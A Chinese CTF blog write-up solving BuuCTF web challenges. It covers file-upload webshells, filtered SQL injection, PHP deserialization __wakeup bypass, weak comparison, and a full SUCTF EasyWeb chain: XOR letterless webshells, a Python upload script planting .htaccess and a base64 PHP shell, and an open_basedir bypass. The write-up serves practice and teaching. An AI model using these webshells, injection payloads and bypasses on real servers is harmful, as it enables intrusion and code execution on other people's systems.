【CTF】BuuCTF解题记录

[极客大挑战 2019]Upload 1

这道题就是一个简单的文件上传考点,主要涉及的知识点:

  • 一句话木马:<script language='php'>eval($_POST['shell']);</script>
  • 修改文件头绕过检测:’GIF89a’,解题时用了GIF的文件头
  • 猜测文件上传目录;拼接upload访问上传的文件
  • 修改文件后缀执行脚本:php后缀被限制了,使用html可以上传,但是html不会被作为脚本执行,服务器使用了apache,它默认是有一个phtml解析的,它的意思是说,如果你的文件是以phtml结尾的,它会把它当作php代码来执行,主要是application/x-httpd-php能够将我们phtml加入到php文件解析的类型当中

[极客大挑战 2019]BabySQL

SQL注入,简单测试
?username=admin&password=admin' or '1'='1 万能密码失败,发现or被过滤
?username=admin&password=admin' uunionnion sselectelect 1,2%23 尝试叠写绕过
?username=admin&password=admin' uunionnion sselectelect 1,2,3%23 修改payload继续猜解
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23 接下来查表
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23 进一步查询列字段,查出三个列字段:id,username,password
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23 flag

[极客大挑战 2019]PHP

常见的网站源码备份文件后缀:tar.gz,zip,rar,tar
常见的网站源码备份文件名:web,website,backup,back,www,wwwroot,temp
访问 www.zip 成功获取到网站源代码,分析源代码,在其中发现下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include 'flag.php';
error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

很明显要用到php反序列化漏洞了,之前整理的php有一个漏洞点:当成员属性数目大于实际数目时可绕过wakeup方法
使用php在线执行工具输出序列化后的数据:https://www.jyshare.com/compile/1/

1
2
3
4
5
6
7
8
9
<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>

程序输出:O:4:"Name":2:{s:14:"Nameusername";s:6:"admine";s:14:"Namepassword";s:3:"100";}
我们将 2 改为 3 或者 比二大的数字,同时,我们要将口变为 %00 若果不写 在我们复制的时候就会减少 空格
最终payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[ACTF2020 新生赛]BackupFile

尝试简单地访问下常见备份文件,发现不行,接着用dirsearch扫描,发现:/index.php.bak 存在,访问下载,修改后缀后查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

这道题主要考察弱类型比较,= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
直接用 参数?key=123 就可以了

[GKCTF 2021]easycms

提示了后台弱口令,直接admin/12345登陆后台,审计后台发现有以下漏洞

任意文件下载:设计——自定义——导出主题——保存
最后是一串base64编码,解密后是/var/www/html/system/tmp/theme/default/12.zip而且是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下成为L2ZsYWc=

任意代码执行漏洞:设计——自定义——首页——编辑,选择php源代码

保存时需要首先创建一个文件验证管理员权限
这里配合任意文件上传漏洞实现,设计——组件——素材库——上传素材:../../../../../system/tmp/nkgq,修改文件名称

奇怪了 我这边一直尝试不成功

[SUCTF 2019]EasyWeb

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

这段PHP代码主要涉及文件上传和代码执行,通过限制某些特征来防止恶意行为。以下是详细分析:

  1. get_the_flag函数
    该函数负责处理文件上传,包含一系列安全检查步骤。
1
2
3
4
5
6
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
  • userdir的定义基于用户的IP地址(通过md5加密),用于创建一个唯一的上传目录。
  • 如果该目录不存在,代码会通过mkdir创建此目录。这使得不同用户的上传内容被隔离。
1
2
3
4
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
  • 检查是否有文件上传($_FILES["file"]不为空)。
  • 获取临时文件路径(tmp_name)和文件名称(name)。
  • 提取文件扩展名。
1
if(preg_match("/ph/i",$extension)) die("^_^"); 
  • 使用正则表达式检查扩展名,禁止包含“ph”(例如.php),防止用户上传PHP文件执行恶意代码。
1
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
  • 检查文件内容是否包含PHP代码符号<?,防止用户上传包含PHP代码的文件绕过扩展名检查。
1
if(!exif_imagetype($tmp_name)) die("^_^"); 
  • 使用exif_imagetype验证文件是否为有效的图片。该函数会读取文件的Exif信息,以确定文件类型是否为常见图片格式(如JPEG、PNG等),有效地限制上传文件的类型。
1
2
3
4
    $path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
  • 如果通过了所有验证,将文件移动到用户目录下的指定路径中,并输出路径。
  1. 文件内容展示及限制
    以下代码负责限制传递到$_GET['_']参数的内容及字符类型,并通过eval执行传入的代码。
1
2
3
4
5
$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}
  • 如果$_GET['_']为空,则会显示当前文件源代码内容(方便调试和安全分析)。
1
2
3
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
  • 限制$hhh的长度不能超过18个字符,否则终止执行。
1
2
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
  • 使用正则表达式匹配$hhh中的字符,不允许$hhh包含数字、字母和部分常见符号,以防止常规代码注入攻击。这一正则表达式限制极为严格,使得代码内容需要使用特殊字符来绕过检测。
1
2
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
  • 计算$hhh中字符种类的数量,若超过12种字符,则拒绝执行,进一步限制了传递代码的复杂性。
1
eval($hhh);
  • 执行传入的代码。这是一个潜在的安全风险点,但由于前面的多层验证,执行的代码受到诸多限制。

https://fanygit.github.io/
在ctf中,我们一般遇到上面这种正则,不能传入字母和数字,是不是就不能执行webshell了呢,并不是,p神在他的博客中记录了三种方法,分别是异或、取反、自增。
如果我们要构造 phpinfo POST GET system 这类关键字,我们可以通过 两个没有被过滤的字符进行异或得到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
构造 phpinfo 
p:%FF^%8F
o:%FF^%90
n:%FF^%91
i:%FF^%96
h:%FF^%97
f:%FF^%99

$_=%FF%FF%FF%FF%FF%FF%FF^%8F%97%8F%96%91%99%90;$_(); //$_=phpinfo;$_(); 成功执行phpinfo();

在php5 可以用assert 函数 php7 不能
php5 下
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');// assert
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //_POST
$___=$$__; //$_POST
$_($___[_]); //assert($_POST[_])
POST _=phpinfo();

生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
import urllib.parse

find = ['p','h','i','n','f','o']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$l = "";
$r = "";
$argv = str_split("_GET");
for ($i = 0; $i < count($argv); $i++) {
for ($j = 0; $j < 255; $j++) {
$k = chr($j) ^ chr(255); // dechex(255) = ff
if ($k == $argv[$i]) {
if ($j < 16) {
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";

解题思路:
通过审计,getshell可以分为两个步骤,第一步,先绕过条件 if ( preg_match(‘/[\x00- 0-9A-Za-z'“\反引号~_&.,|=[\x7F]+/i’, $hhh) ) ,这个条件通过 异或的方式构造无字母webshell绕过。第二步:需要绕过三个条件,分别是 if(preg_match(“/ph/i”,$extension)),后缀不能带有ph。if(mb_strpos(file_get_contents($tmp_name), ‘<?’)!==False),文件内容中不能存在 <?。if(!exif_imagetype($tmp_name)) ,文件头必须是常见图片类型文件头。绕过方式:通过上传.htaccess文件,在.htaccess文件中,需要伪造图片头来过第三个条件的检测 ,通常我们会想到GIF89a来绕过,但是这样会让.htaccess文件不能生效,这时可以通过 在.htaccess 头部添加#define width 1337 #define height 1337 绕过。然后再上传头部带有GIF89a、后缀名为jpg的一句话。

第一步:通过异或构造无字母webshell

1
2
3
4
5
6
7
8
9
10
11
// ${_GET}{_}(); 
// 通过上面给的脚本 分别用 _ G E T 来作为异或目标
// 得到
_:%FF^%A0
T:%FF^%AB
G:%FF^%B8
E:%FF^%BA
// 组装
${%FF%FF%FF%FF^%A0%B8%BA%AB}{%A0}();
// phpinfo 测试
${%FF%FF%FF%FF^%A0%B8%BA%AB}{%A0}();&%A0=phpinfo

第二步:再进行.htaccess 文件内容构建的时候,需要知道文件上传的路径,路径的构建规则,upload/tmp_".md5($_SERVER['REMOTE_ADDR']),得到 upload/tmp_532fb014387262fa08e25fd65663cac2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_532fb014387262fa08e25fd65663cac2/shell.jpg"
"""
# 这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则
shell = "GIF89a"+"aa"+"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="
# <?php eval($_POST['cmd']);?>

url = 'http://3cd358ce-4a9b-430d-b949-13b4c50642f0.node4.buuoj.cn:81/?_=${%FF%FF%FF%FF^%A0%B8%BA%AB}{%A0}();&%A0=get_the_flag'
# print(url)
# 上传 .htaccess
files = {'file':('.htaccess', htaccess, 'image/jpeg')}
data = {'upload':'submit'}
res = requests.post(url=url, data=data, files=files)
print(res.text)
# 上传shell
files = {'file':('shell.jpg', shell, 'image/jpeg')}
data = {'upload':'submit'}
res = requests.post(url=url, data=data, files=files)
print(res.text)

之后用蚁剑连接:

但是不能跳转到其他目录,使用蚁剑的disable_functions插件,辅助工具->绕过disable_functions->选择模式->PHP7_GC_UAF 。
手动绕过open_basedir payload

1
2
3
url: http://3cd358ce-4a9b-430d-b949-13b4c50642f0.node4.buuoj.cn:81/upload/tmp_532fb014387262fa08e25fd65663cac2/shell.jpg
POST
cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

open_basedir 是 PHP 中的一个配置指令,用于限制 PHP 脚本只能访问指定目录及其子目录中的文件。设置 open_basedir 的目的是防止 PHP 脚本访问系统中不必要的文件和目录,从而加强服务器的安全性。

1
open_basedir = "/var/www/html:/tmp"

这意味着所有 PHP 脚本只能访问 /var/www/html/tmp 目录以及它们的子目录中的文件,试图访问其他目录会导致错误提示(通常是 “open_basedir restriction in effect”)。

绕过 open_basedir 的常见方法
尽管 open_basedir 是一个有效的安全控制手段,但在某些特定配置和漏洞情况下可能会被绕过。以下是几种常见的绕过方式:

  1. 符号链接(Symlink)攻击:有时可以通过符号链接将允许访问的目录链接到受限制的目录,从而间接访问被限制的目录。
  2. 文件协议漏洞:利用某些扩展或函数,如 curlfile:// 协议、ZIP 扩展、图片处理库等,有时可以绕过 open_basedir 限制。
  3. 包含漏洞:某些 PHP 扩展或函数在处理文件包含时存在漏洞,可能会意外允许访问受限路径。例如,利用文件包装器(file wrappers)尝试访问特定文件。
  4. PHP 扩展的文件读写特性:某些 PHP 扩展(如 FFmpegImageMagickiconv)可能允许通过非直接文件操作读取受限目录内容。
  5. 路径解析问题:利用一些特殊路径,如 /proc/self/cwd.. 等,尝试解析到受限制的目录(在某些系统上可能有效)。

上面的payload含义作用如下:

1
cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
  1. 切换目录到可访问路径
    • chdir('img'):将当前目录切换到 img 目录,这通常是一个可以访问的子目录。
  2. **重置 open_basedir**:
    • ini_set('open_basedir', '..'):通过 ini_setopen_basedir 的范围重新定义为上一级目录(..),允许脚本访问当前目录的父目录。
  3. 多次切换到上级目录
    • chdir('..');chdir('..');chdir('..');chdir('..');:重复使用 chdir('..') 指令返回到更高的目录级别,最终到达根目录(/)。
  4. 重设 open_basedir 到根目录
    • ini_set('open_basedir', '/'):再次使用 ini_setopen_basedir 设置为根目录 /,即允许访问整个文件系统。
  5. 读取敏感文件
    • print_r(file_get_contents('/THis_Is_tHe_F14g'));:利用 file_get_contents 读取 /THis_Is_tHe_F14g 文件的内容(假设这是目标文件),并输出到响应中。

这种绕过方式利用了 PHP 的动态配置特性,如果 ini_set 函数可用且 open_basedir 不严格设置为不可更改,那么脚本有可能通过这种方式访问敏感文件。
为防止此类绕过,可以采取以下措施:

  • 禁用 ini_set 函数:防止运行时更改 open_basedir 配置。
  • **严格设置 open_basedir**:在服务器配置中强制设置 open_basedir,避免脚本通过代码更改配置。
  • 使用容器化隔离:在严格隔离的环境中运行服务,防止突破限制后直接访问主机系统中的敏感文件。

总结

用无字母webshell的方式绕过正则对字母数字的匹配,通过上传.htaccess的方式绕过对正则对后缀的匹配,.htaccess为什么上传这个文件就能让上传的图片当做php文件执行呢?

实际上就是apache的一个配置文件,也就是只有服务器是apache的时候可以这样做,nginx就不行。而 AddType 这个参数可以为当前目录下的 指定的后缀名添加MIME类型。
刚刚我们设置的 AddType application/x-httpd-php .jpg 就是把.jpg后缀的MIME类型设置为 application/x-httpd-php,服务器去读取.jpg文件的时候会把它当成php文件读取,所以,里面的一句话就能执行。